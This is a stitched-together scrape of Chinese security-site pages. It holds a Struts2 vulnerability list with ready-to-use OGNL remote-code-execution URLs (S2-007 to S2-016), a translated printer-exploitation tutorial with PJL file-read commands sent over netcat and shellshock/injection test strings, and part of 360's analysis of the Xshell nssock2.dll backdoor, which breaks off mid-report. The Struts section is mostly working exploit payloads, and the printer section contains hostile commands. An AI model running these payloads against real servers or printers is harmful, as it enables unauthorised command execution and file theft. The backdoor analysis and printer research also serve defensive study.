执行的“whoami”命令,将会直接写入到showcase.action文件中,并下载到本地。

S2-007

受影响版本:低于Struts 2.2.3.1

S2-007和S2-003、S2-005的漏洞源头都是一样的,都是struts2对OGNL的解析过程中存在漏洞,导致黑客可以通过OGNL表达式实现代码注入和执行,所不同的是:

1. S2-003、S2-005: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行

2. S2-007: 通过OGNL中String向long转换过程实现代码执行

假设hello.java中定义了一个整数long id,id来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞,因此要想利用此漏洞,程序中必须有可以接受外界输入的id等参数。

EXP:

http://x.x.x.x/hello.action?id=’%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context[“xwork.MethodAccessor.denyMethodExecution”]=false,%23cmd=”ifconfig”,%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b’

二 S2-009

受影响版本:低于Struts 2.3.1.1

EXP:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
将会在系统上建立/tmp/PWNAGE文件。

三 S2-012、S2-013

受影响版本:低于Struts 2.3.14.1

struts2中可以通过${express}或%{express}来引用ongl表达式,当配置一个action中有${input}或%{input}且input来自于外部输入时,给input赋值%{exp},从而导致任意代码执行。Struts2标签库中的url标签和a标签的includeParams这个属性,代表显示请求访问参数的含义,一旦它的值被赋予ALL或者GET或者 POST,就会显示具体请求参数内容,问题在于,struts竟然把参数做了OGNL解析。

x.jsp

Click here.
EXP:

http://x.x.x.x/x.jsp?a=1${(%23_memberAccess[“allowStaticMethodAccess”]=true,%23a=@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}

四 S2-016

受影响版本:低于Struts 2.3.15.1

在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

以“redirect”为例进行命令执行:

EXP1:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]%20{%27netstat%27,%27-an%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

五 S2-019

Struts 2.0.0 – Struts 2.3.15.1

Struts 2.3.15.2以后的版本默认关闭开发模式, 比较鸡肋。

发布于 分类 漏洞列表于struts2漏洞留下评论

网络打印机

网络打印机
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】网络打印机安全技术初探
阅读量 54616 | 稿费 260

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-09-21 15:39:00
译文声明
本文是翻译文章,文章原作者,文章来源:0x00sec.org
原文地址:https://0x00sec.org/t/an-introduction-to-printer-exploitation-1/3565

译文仅供参考,具体内容表达以及含义原文为准

×
http://p2.qhimg.com/t01cf0b3af48aa5ede5.jpg

译者:blueSky

预估稿费:260RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

以下章节的内容仅仅是我自己对打印机的研究工作以及最近读到的有关打印机文章的总结。在过去的几个月时间里,我有机会接触到几种不同型号的打印机,并学习了一些有关打印机的基本规范。不论是供应商还是基本规范,各个类型的打印机都不同,并且每个类型的打印机还使用各种不同的协议和固件。在接下来的文章中,我将先对打印机的有关理论知识进行介绍。

那么,为什么要将打印机作为攻击目标呢?为什么不像往常一样研究个人电脑或者服务器上的恶意软件呢?在接下来的几个段落中我们将对上述问题进行阐述。

本地vs网络打印机

本地打印机只是简单的连接到台式电脑上,共享性差。而现在的所有打印机基本上都是网络打印机,使用网络打印机可以使物理位置不在同一个地方的用户共享一个或者多个打印设备,整个视图看起来如下图所示:

http://p3.qhimg.com/t0165e88081d226a24f.png

如上图所示,网络打印机协议作为部署打印作业的通道,直接包含了页面描述语言(PDL)或者首先调用打印机或者作业控制语言!下面我将对上图中的每个部分进行介绍,并对每部分涉及到的基本原理进行阐述。

基础知识

一、固件

根据以往的工作经验,打印机使用了一些嵌入式设备的不同类型的操作系统。例如下面几个操作系统就是一些网络打印机常使用的嵌入式设备操作系统:

1. 可定制的GNU / Linux,

2. WindRiver Linux5,

3. VxWorks5,

4. ThreadX6。

通过对几款打印机的研究和分析,我总结出了这些打印机的一些共同点:

1. 精简指令/命令集-减少功能,

2. 使用版本较老的内核-通常内核版本是2.6.XYZ,

3. 可能包括一些“隐藏”功能,但可以通过wink补丁启用-例如:找到一个ssh文件,但需要在配置文件中启用,

4. 与家用打印机相比,ssh功能更多保留在办公室中的打印机中,

5. 有时固件的存储方式很有趣-例如:在SD卡上,您可以删除或者切换30秒内的物理访问。

以上的这些事实表明,网络打印机可能容易受到某些网络攻击,但这些网络攻击在实施上通常会变得比较“复杂”,因为网络攻击者甚至不能或以某种方式通过(远程)文件系统的写入来启用网络打印机上的某些功能。接下来,我将对打印机协议进行介绍,打印机协议通常用于打印服务器和台式PC之间的通信,甚至用于打印机内部的通信。

二、网络打印协议

在Windows用户群体中,SMB/CIFS协议的打印机很受欢迎。然而,最常见的网络打印协议是LPD,IPP和RAW。此外,一些网络设备还支持FTP或HTTP等通用协议通过文件上传的方式进行打印。

1. LPD

LPD是“行式打印机后台程序”协议的缩写,该协议监听TCP 515端口,可以通过CLI使用“lpr”进行访问。为了打印,客户端需要发送一个作业控制文件和包含要打印的数据文件。

2. IPP

IPP是基于HTTP的扩展协议,因此它继承了HTTP协议所有的安全功能,如基本身份验证和SSL/TLS加密。要提交打印作业,用户需要发送HTTP POST请求到IPP服务器,该服务器监听TCP 631端口,任何人都知道CUPS是IPP协议的一个实现,它是许多Linux发行版和macOS X中的默认打印系统。

3. SMB

SMB(服务器信息块)是应用层网络协议,通常在Windows上使用。该协议监听TCP 445端口,经常用于网络中的共享文件和打印机。

4. 9100端口

也被称为“raw printing”,因为它使用TCP 9100端口进行网络打印操作,通常在CUPS和Windows系统中使用。与LPD,IPP和SMB协议需要使用打印机控制语言才能执行打印操作相比,通过9100端口发送的所有数据都由打印设备直接处理,并直接将打印结果反馈到客户端,包括状态和错误消息。因此我们可以通过该方法来直接访问打印机控制语言的结果!

三、打印机控制语言

基本上,作业控制语言管理当前作业的输出等设置,它通常位于打印协议和页面描述语言之间。打印机控制和管理语言的设计不仅影响单个打印作业,而且影响整个打印设备。

下面我将对最基本的两个打印机控制语言进行介绍:

1. SNMP

SNMP-“简单网络管理协议”,该协议监听UDP 161端口,用于管理网络组件。

2. PJL

PJL是“Printer Job Language”的简称,该控制语言可用于操纵常规设置,也可以永久更改。在许多控制语言中,供应商往往只支持PJL控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。此外,PJL也常用于设置实际打印数据的文件格式,网络攻击者往往对该控制语言的这个功能非常感兴趣。

四、页面描述语言(PDL)

PDL主要用于指定了实际文档的视图,下面将介绍两种主要的页面描述语言:

1. PostScript(PS)

众所周知,该页面描述语言由Adobe发明,并被广泛用于PDL。PS的能力远不止于定义文档的外观和处理矢量图形。因此,当被网络攻击者利用时,PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。

2. PCL

PCL是各种供应商和设备都支持的极简页面描述语言,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的。

漏洞利用

通过Shodan我发现很多人会把打印机放在因特网上,具体如下图所示:

http://p0.qhimg.com/t015fae523e6086029b.png

如上所述,很多网络打印机通过端口9100连接到互联网,因此网络攻击者使用该端口可以对这些网络打印机实施网络攻击。例如利用打印机设备上的一个SSH弱口令的漏洞就可以轻松的登入到网络打印机设备中去。

可能要搞的事情

1. DoS

独占传输通道-阻止一个打印端口,使打印机保持繁忙状态,不再打印任何东西。

文档处理-通过PDL操作文档,让打印机解析该文档。例如:PS中的无限循环。

物理损坏-在NVRAM芯片上写入的恶意软件。

2. 特权升级

恢复出厂设置-重置为出厂默认设置以绕过认证。

绕过账户权限。

3. 访问打印作业

尝试在打印机上查找存储的打印作业并提取它们。

更改打印作业。

4. 信息泄漏

内存访问-可能会找到密码或打印文档中的敏感数据。

文件系统访问-可以检索敏感信息,如配置文件或存储的打印作业。

凭证泄漏-对更改的默认登录凭据进行暴力攻击以获取访问权限

5. 代码执行

缓冲区溢出-由于打印机提供额外的语言和网络服务,因此可能存在缓冲区溢出漏洞;

固件更新-将打印机固件更新为含有恶意软件的固件;

软件包-定制和操纵打印机应用程序。

可能的攻击场景

如上所述,构造何种类型的攻击向量取决于攻击计划和访问方式,一些攻击手法可能需要物理访问,而另一些则可以通过远程来完成。例如,通过简单的打印作业(可能的情况:无需验证)发出恶意固件更新,提取敏感数据并使打印机不可用等。因此对打印机的攻击成败确实取决于它们所在的物理位置及其网络环境。

用到的工具

上面提到的很多技术需要掌握一些底层结构的知识(例如:使用PDL,PCL)。即使使用手册或在线搜索可以很容易地找到这些信息,但仍然是比较麻烦和额外的工作。因此利用现有的工具可以使我们的工作变得轻松和简单。

1. BeEF

浏览器开发框架(BeEx)是一种针对Web浏览器的渗透测试工具。它允许渗透测试者通过使用客户端攻击向量来评估目标环境的实际安全状态,使用该框架可以实现跨站打印。

2.Praeda

Praeda,是一款用Perl编写的自动打印机数据采集工具,该工具可以帮助渗透测试人员在安全评估工作期间收集可用的数据。Praeda能够从打印机的嵌入式Web服务器中收集敏感信息,包括设备密码,用户名以及电子邮件地址等敏感数据信息。

3. PRET15

这是一个用python编写的工具,该工具实现了我上述提到的每个攻击向量。

它通过网络或USB连接到网络打印机,并尝试利用打印机所使用的打印机语言,(目前支持的是PS,PJL和PCL),当成功连接时,有一大堆可以使用的命令。

4. LES

Linux Exploit Suggester是一个小perl脚本,由于嵌入式操作系统的内核版本通常远低于当前linux的桌面或服务器发行版本。那么使用该脚本在一些较旧版本的Linux内核漏洞利用中可能仍然可行!

下面我将通过一个实验性的例子来介绍如何对一台网络打印机实施网络攻击操作。

首先要明确打印机开放哪些端口以及操作系统指纹是什么,这里我们使用nmap来获取这些数据信息,扫描结果如下所示:

$ sudo nmap 192.168.1.108
Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST
Nmap scan report for 192.168.1.108
Host is up (0.031s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
515/tcp open printer
631/tcp open ipp
9100/tcp open jetdirect
MAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
Device type: specialized
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.31 – 2.6.35 (embedded)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
通过对扫描结果的分析我们发现,该打印机开放了9100端口,并且它正在运行一个较旧的Linux内核,但该打印机并没有开放TCP 22端口,因此想要造成文件系统的混乱是不可能的了。然后,使用PRET看看能获取到什么数据信息,实验结果如下所示:

$ python pret.py 192.168.1.108 -s PS
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PS support: not found
$ python pret.py 192.168.1.108 -s Pjl
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PJL support: not found
$ python pret.py 192.168.1.108 -s PCL
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PCL support: not found
依然没有发现SSH,很可能是这款打印机的供应商对该打印机系统做了一些定制化的操作,使其变得稍微安全一些,不然一旦使用PRET连接到打印机中的一个功能,我们将可以做很多事情。例如检查文件系统。 创建目录,更改配置文件甚至dump整个NVRAM。在发现使用PRET无果之后,我继续尝试其他渗透测试工具!我准备使用LES工具,以发现是否存在可以利用的Linux漏洞,实验过程如下所示:

$ perl Linux_Exploit_Suggester.pl -k 2.6.31
Kernel local: 2.6.31
Searching among 65 exploits…
Possible Exploits:
[+] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408/
[+] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814/
[+] do_pages_move
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[+] half_nelson
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787/
[+] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297/
[+] pipe.c_32bit
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[+] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150/
[+] ptrace_kmod2
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023/
[+] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[+] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285/
[+] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130/
[+] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024/
通过简单地分析LES工具的输出结果,我决定继续尝试其他方法。

直觉告诉我,为什么不再试试PJL呢?因此我使用netcat作为监听程序,并尝试手动调用一些命令,执行命令如下所示:

echo “@PJL FSUPLOAD FORMAT:BINARY NAME=”../../etc/passwd” OFFSET=0 SIZE=648″ | nc -v -v 192.168.1.108 9100
# If successful this should display the */etc/passwd* file.
或者

echo “@PJL INFO ID” | nc -v -v 192.168.1.108 9100
# If successful this should get the *printer’s device information*
在这个过程中我也尝试了其他PJL命令注入技术,由于它们的命令语法差异很大,加上我也不太了解PS/PCL的启动,因此我的打印机对这种“攻击”一点也没有反应。

一个PRET脚本就能搞定?

如上所述,PRET并不能用来“攻击”我的家用打印机。但是我发现PRET源文件夹中有一个名为“lpdtest.py”的“隐藏”脚本,该脚本可以用来测试行式打印机后台程序中较老的漏洞,测试过程如下所示:

尝试从打印机的文件系统获取文件,代码如下所示:

$ lpdtest.py printer get / etc / passwd
$ lpdtest.py printer get ../../../etc/passwd
#etc…
此测试对用户输入的数据(例如主机名,用户名,作业名,文件名等)进行fuzz处理。

# Test for environment variables
$ lpdtest.py printer in ‘$UID’
# Test for pipes and redirects
$ lpdtest.py printer in ‘| pwd’
$ lpdtest.py printer in ‘>> /etc/passwd’
# Test for backticks
$ lpdtest.py printer in ‘`ls`’
# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)
$ lpdtest.py printer in ‘() {:;}; /bin/ping -c1 1.2.3.4’
正如预期的那样,这些攻击已经被修复,使用该脚本依然没能成功实施对打印机的攻击操作。

总结

为什么打印机会被攻击?

大多数打印机已经和个人电脑或者服务器没什么区别了!

打印机可用作端口/网络/漏洞利用扫描器

用于计算/哈希破解/嗅探

用于上传恶意软件

用作C&C服务器

盗取未加密的数据

展望

如果我拿到一些更好的打印机,那么我将会继续在这些打印机上研究有关打印机漏洞利用的实验。如果我有更多的时间,我会投入更多的时间去研究对上述家用打印机的漏洞利用。例如捕获固件更新,并尝试对固件执行脱壳和逆向操作,但这些都需要投入更多的时间去研究和分析。所以我现在保持开放的心态,我希望上述的研究和分析能让我保持对打印机漏洞利用研究的兴趣。此外,我希望这篇文章能够帮助到那些对打印机漏洞利用感兴趣的人,并能够学习一些东西。所以如果你想研究自己的打印机设备,Just do it!不过请切记提醒:

找到进入系统的一种方式,

检查使用的打印机语言,并尝试上述这些代码注入技术,

尝试从Web界面dump文件系统目录结构,

如果可以,上传自己创建的“恶意”固件,

找到一种新的漏洞利用方法

最后,我期待着反馈和改进建议。

本文翻译自 0x00sec.org, 原文链接 。如若转载请注明出处。
安全知识

blueSky 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
小虎
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
blueSky
这个人太懒了,签名都懒得写一个
文章
40
粉丝
0
TA的文章
【技术分享】详谈WAF与静态统计分析
2017-11-07 16:47:00
【技术分享】那些“躲避”微软autoruns工具的方法
2017-11-07 14:02:37
【技术分享】SnatchLoader恶意软件更新分析
2017-11-03 17:49:50
【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金
2017-11-03 10:57:57
【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升
2017-11-01 17:27:14
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

360 后门

360 后门
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【权威发布】360天眼实验室:Xshell被植入后门代码事件分析报告(完整版)
阅读量 126645 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-08-18 18:29:34
“Xshell”的图片搜索结果

文档信息

http://p1.qhimg.com/t017b70bffc6dce96a4.png

事件概要

http://p8.qhimg.com/t01ecbf3a5c8fb686f5.png

事件简述

近日,非常流行的远程终端Xshell被发现被植入了后门代码,用户如果使用了特洛伊化的Xshell工具版本会导致本机相关的敏感信息被泄露到攻击者所控制的机器甚至被远程控制执行更多恶意操作。

Xshell特别是Build 1322在国内的使用面很大,敏感信息的泄露及可能的远程控制导致巨大的安全风险,我们强烈建议用户检查自己所使用的Xshell版本,如发现,建议采取必要的补救措施。

事件时间线

2017年8月7日

流行远程管理工具Xshell系列软件的厂商NetSarang发布了一个更新通告,声称在卡巴斯基的配合下发现并解决了一个在7月18日的发布版本的安全问题,提醒用户升级软件,其中没有提及任何技术细节和问题的实质,而且声称没有发现漏洞被利用。

2017年8月14日

360威胁情报中心分析了Xshell Build 1322版本(此版本在国内被大量分发使用),发现并确认其中的nssock2.dll组件存在后门代码,恶意代码会收集主机信息往DGA的域名发送并存在其他更多的恶意功能代码。360威胁情报中心发布了初始的分析报告,并对后续更复杂的恶意代码做进一步的挖掘分析,之后其他安全厂商也陆续确认了类似的发现。

2017年8月15日

卡巴斯基发布了相关的事件说明及技术分析,与360威胁情报中心的分析完全一致,事件可以比较明确地认为是基于源码层次的恶意代码植入。非正常的网络行为导致相关的恶意代码被卡巴斯基发现并报告软件厂商,在8月7日NetSarang发布报告时事实上已经出现了恶意代码在用户处启动执行的情况。同日NetSarang更新了8月7日的公告,加入了卡巴斯基的事件分析链接,标记删除了没有发现问题被利用的说法。

影响面和危害分析

目前已经确认使用了特洛伊化的Xshell的用户机器一旦启动程序,主机相关基本信息(主机名、域名、用户名)会被发送出去。同时,如果外部的C&C服务器处于活动状态,受影响系统则可能收到激活数据包启动下一阶段的恶意代码,这些恶意代码为插件式架构,可能执行攻击者指定任意恶意功能,包括但不仅限于远程持久化控制、窃取更多敏感信息。

根据360网络研究院的C&C域名相关的访问数量评估,国内受影响的用户或机器数量在十万级别,同时,数据显示一些知名的互联网公司有大量用户受到攻击,泄露主机相关的信息。

解决方案

检查目前所使用的Xshell版本是否为受影响版本,如果组织保存有网络访问日志或进行实时的DNS访问监控,检查所在网络是否存在对于附录节相关IOC域名的解析记录,如发现,则有内网机器在使用存在后门的Xshell版本。

目前厂商NetSarang已经在Xshell Build 1326及以后的版本中处理了这个问题,请升级到最新版本,修改相关系统的用户名口令。厂商修复过的版本如下:

Xmanager Enterprise Build 1236

Xmanager Build 1049

Xshell Build 1326

Xftp Build 1222

Xlpd Build 1224

软件下载地址:https://www.netsarang.com/download/software.html

技术分析

基本执行流程

Xshell相关的用于网络通信的组件nssock2.dll被发现存在后门类型的代码,DLL本身有厂商合法的数字签名,但已经被多家安全厂商标记为恶意:

http://p2.qhimg.com/t0193bdccedb7666dc3.png

360威胁情报中心发现其存在加载执行Shellcode的功能:

http://p1.qhimg.com/t01657bbbbbf90f3fdb.png

我们将这段代码命名为loader_code1, 其主要执行加载器的功能,会再解出一段新的代码(module_Activation),然后动态加载需要的Windows API和重定位,跳转过去。

经过对进程执行的整体分析观察,对大致的执行流程还原如下图所示:

http://p6.qhimg.com/t01e5060ba0ab25148c.png

基本插件模块

Module_Activation

module_Activation会开启一个线程,然后创建注册表项:HKEY_CURRENT_USERSOFTWARE-[0-9]+(后面的数字串通过磁盘信息xor 0xD592FC92生成),然后通过RegQueryValueExA查询该注册表项下”Data”键值来执行不同的功能流程。

http://p7.qhimg.com/t011064c39484b4b3fa.png

当注册表项”Data”的值不存在时,进入上传信息流程,该流程主要为收集和上传主机信息到每月一个的DGA域名,并保存服务器返回的配置信息,步骤如下:

获取当前系统时间,根据年份和月份按照下面的算法生成一个长度为10-16的字符串,然后将其与”.com”拼接成域名。

http://p8.qhimg.com/t01c9add0ed63c91a4d.png

http://p2.qhimg.com/t01db34e8ed41488118.png

年份-月份 和 生成的域名对应关系如下:

http://p2.qhimg.com/t01f7543082e9f56d92.png

接着,将前面收集的网络、计算机、用户信息按照特定算法编码成字符串,然后作为上面的域名前缀,构造成查询*. nylalobghyhirgh.com 的DNS TXT的数据包,分别向8.8.8.8 | 8.8.4.4 | 4.2.2.1 | 4.2.2.2 | [cur_dns_server] 发送,然后等待服务器返回。

http://p0.qhimg.com/t01d1f194e7d8f532db.png

服务器返回之后(UDP)校验数据包,解析之后把数据拷贝到之前传入的参数中,下一步将这些数据写入前面设置的注册表项,也就是HKEY_CURRENT_USERSOFTWARE-[0-9]+的Data键中。这些数据应该是作为配置信息存放的,包括功能号,上次活跃时间,解密下一步Shellcode的Key等等。

http://p6.qhimg.com/t01eefe606044f5c553.png

当RegQueryValueExA查询到的Data键值存在数据时,则进入后门执行流程,该流程利用从之前写入注册表项的配置信息中的Key解密loader_code2后跳转执行。

http://p6.qhimg.com/t0155afcfd6e750aac9.png

解密loader_code2的算法如下:先取出module_Activation偏移0x3128处的original_key,接着取key的最后一个byte对偏移0x312C处长度为0xD410的加密数据逐字节进行异或解码,每次异或后original_key再与从配置信息中读取的key1、key2进行乘、加运算,如此循环。

http://p4.qhimg.com/t010545cb167c8ed2df.png

http://p9.qhimg.com/t012c9fdc8d34a89e2b.png

解密之后跳转到loader_code2中, loader_code2其实和loader_code1是一样的功能,也就是一个loader,其再次从内存中解密出下一步代码:module_ROOT, 然后进行IAT的加载和重定位,破坏PE头,跳转到ROOT模块的入口代码处。

Module_ROOT

ROOT模块即真正的后门核心模块,为其他插件提供了基本框架和互相调用的API,其会在内存中解密出5个插件模块Plugin、Online、Config、Install和DNS,分别加载到内存中进行初始化,如果插件在初始化期间返回没有错误,则被添加到插件列表中。

http://p4.qhimg.com/t01f0b0d8a2b5235fa7.png

每个插件由DLL变形而成,加载后根据fwReason执行不同功能 (其中有一些自定义的值100,101,102,103,104).不同的插件模块fwReason对应的功能可能有细微的差异,整体上如下:

http://p2.qhimg.com/t01429657676bb61b2a.png

接着ROOT模块搜索ID为103(“Install”)的插件,并调用其函数表的第二个函数。进行安装操作。

http://p5.qhimg.com/t010b8ae31c476b30ec.png

同时ROOT模块也通过把自身函数表地址提供给其他模块的方式为其他模块提供API,这些API主要涉及跨模块调用API、加解密等功能。

http://p1.qhimg.com/t01458a87f488a929b4.png

另外其中解密的函数以及加载插件的函数也是由动态解出来的一段shellcode,可见作者背后的煞费苦心:

http://p8.qhimg.com/t01c11a614e425d89f1.png

http://p3.qhimg.com/t01984510ac157c25ee.png

Module_Plugin

Plugin模块为后门提供插件管理功能,包括插件的加载、卸载、添加、删除操作,管理功能完成后会通过调用Online的0x24项函数完成回调,向服务器返回操作结果。模块的辅助功能为其他插件提供注册表操作。

Plugin的函数列表如下:

http://p7.qhimg.com/t012d325bdb94d8a6f8.png

其中比较重要的是fuc_switch和CreateLoadRegThread。

fuc_switch

此函数根据第二个参数结构体的0x4偏移指令码完成不同操作,指令码构造如下:

(ID<<0x10)| Code 0x650000功能 此功能获取当前加载的插件列表字符串,此功能遍历全局ModuleInfo结构体获取模块名称列表,完成后通过Online模块的0x24执行调用者参数的回调函数,该回调为网络通知函数。 http://p8.qhimg.com/t01bc5b100d83e88f14.png 0x650001功能 此功能首先通过参数ID获取模块信息,如果该ID未被加载,则调用Root的加密函数加密模块数据,随后更新对应注册表值,完成模块更新,模块数据加密后保存,在Root模块初始化过程中会调用Plugin的注册表监听线程,该线程检测到注册表项变动后加载此模块: http://p8.qhimg.com/t0131504e8d366a3137.png 0x650002功能 此功能通过文件名称加载PE结构的插件,Root模块的0x30项调用LoadLibrary函数加载DLL,并将插件结构插入全局插件双链表: http://p4.qhimg.com/t01343c14eecdede825.png 0x650003功能 该功能通过模块基址查找指定模块,内存卸载模块后删除对应注册表键值,彻底卸载模块: http://p6.qhimg.com/t0166ccbfdee859bfa1.png 0x650004功能 此功能检测参数指定模块ID是否被加载,如果该ID已被加载,通过Online的网络回调发送一个长度为1,数据为0x00的负载网络包,如果ID未被加载则发送一个长度为0的负载网络包。 http://p5.qhimg.com/t01f5cc83125bea504a.png CreateLoadRegThread 该函数创建线程,异步遍历注册表项“SOFTWAREMicrosoft”,其中MachineID根据硬盘序列号生成。随后创建Event对象,使用RegNotifyChangeKeyValue函数监测插件注册表键值是否被更改,被更改后则遍历键值回调中解密并加载模块并插入全局插件ModuleInfo。

Plugin模块的维护数据结构为双链表,并为每个插件定义引用计数,当引用计数为0时才从内存卸载插件。结构大致如下:

http://p0.qhimg.com/t017eae70c11ea236fb.png

Module_Online

该模块主要功能是与服务器连接,获取服务器返回的控制指令,然后根据控制指令中的插件ID和附加数据来调用不同的插件完成相应的功能。同时Online也提供API接口给其他插件模块用于回传数据。

Online模块的函数表如下,可以看到其提供了一系列收发数据的API

http://p1.qhimg.com/t01d5dbf51e228efdfd.png

网络连接开始时首先调用Config表中的第二个函数读取配置信息,通过InternetCrackUrlA将配置信息中的字符串(默认为dns://www.notepad.com )取得C&C地址,并根据字符串前面的协议类型采取不同的连接方式,每个协议对应一个ID,同时也是协议插件的ID,目前取得的样本中使用的DNS协议对应ID为203。(虽然有HTTP和HTTPS,但是ONLINE只会使用HTTP),协议与ID的对应关系如下:

http://p2.qhimg.com/t016e7384cf9c970421.png

http://p0.qhimg.com/t01a95742cedd6adad5.png

http://p3.qhimg.com/t01307f7e83f8ca5610.png

在建立起与C&C服务器的连接之后,可以根据接收到的服务器指令调用指定的插件执行指定的操作,并返回执行结果。首先先接收0x14字节的头部数据,这些数据将用于解压和解密下一步接收的指令数据。

http://p5.qhimg.com/t01ef9b640346df62b7.png

接受的指令结构大致如下:

struct Command
{
DWORD HeaderSize;
WORD OpCode;
WORD PluginID;
DWORD DWORD0;
DWORD DataSize;
DWORD DWORD1;
DWORD DataBuff

};
Online模块会根据PluginID找到对应的模块,调用其函数列表的第一个函数func_switch(),根据OpCode执行switch中不同的操作,并返回信息给服务器。

http://p2.qhimg.com/t01b64427d2c4533e43.png

另外当Online使用内置的URL方式时,会根据指定的参数使用HTTP-GETHTTPS-GET FTP来下载文件:

http://p5.qhimg.com/t0189c800472b7fe344.png

http://p1.qhimg.com/t016866dd6574837992.png

在请求服务器的时候,也会将受害者的基本信息上传到服务器中,这些信息包括:当前日期和时间、内存状态、CPU信息、可用磁盘空间、系统区域设置、当前进程的PID、操作系统版本、host信息和用户名。

http://p9.qhimg.com/t017d07d55856cc3dc7.png

Online模块还通过调用Plugin模块提供的API维护一个注册表项:

HKLMSOFTWARE[0-9A-Za-z]{7} 或者 HKCUSOFTWARE[0-9A-Za-z]{7},内容是记录系统时间和尝试连接次数。

http://p9.qhimg.com/t01a0d84b0738be9cf9.png

Module_Config

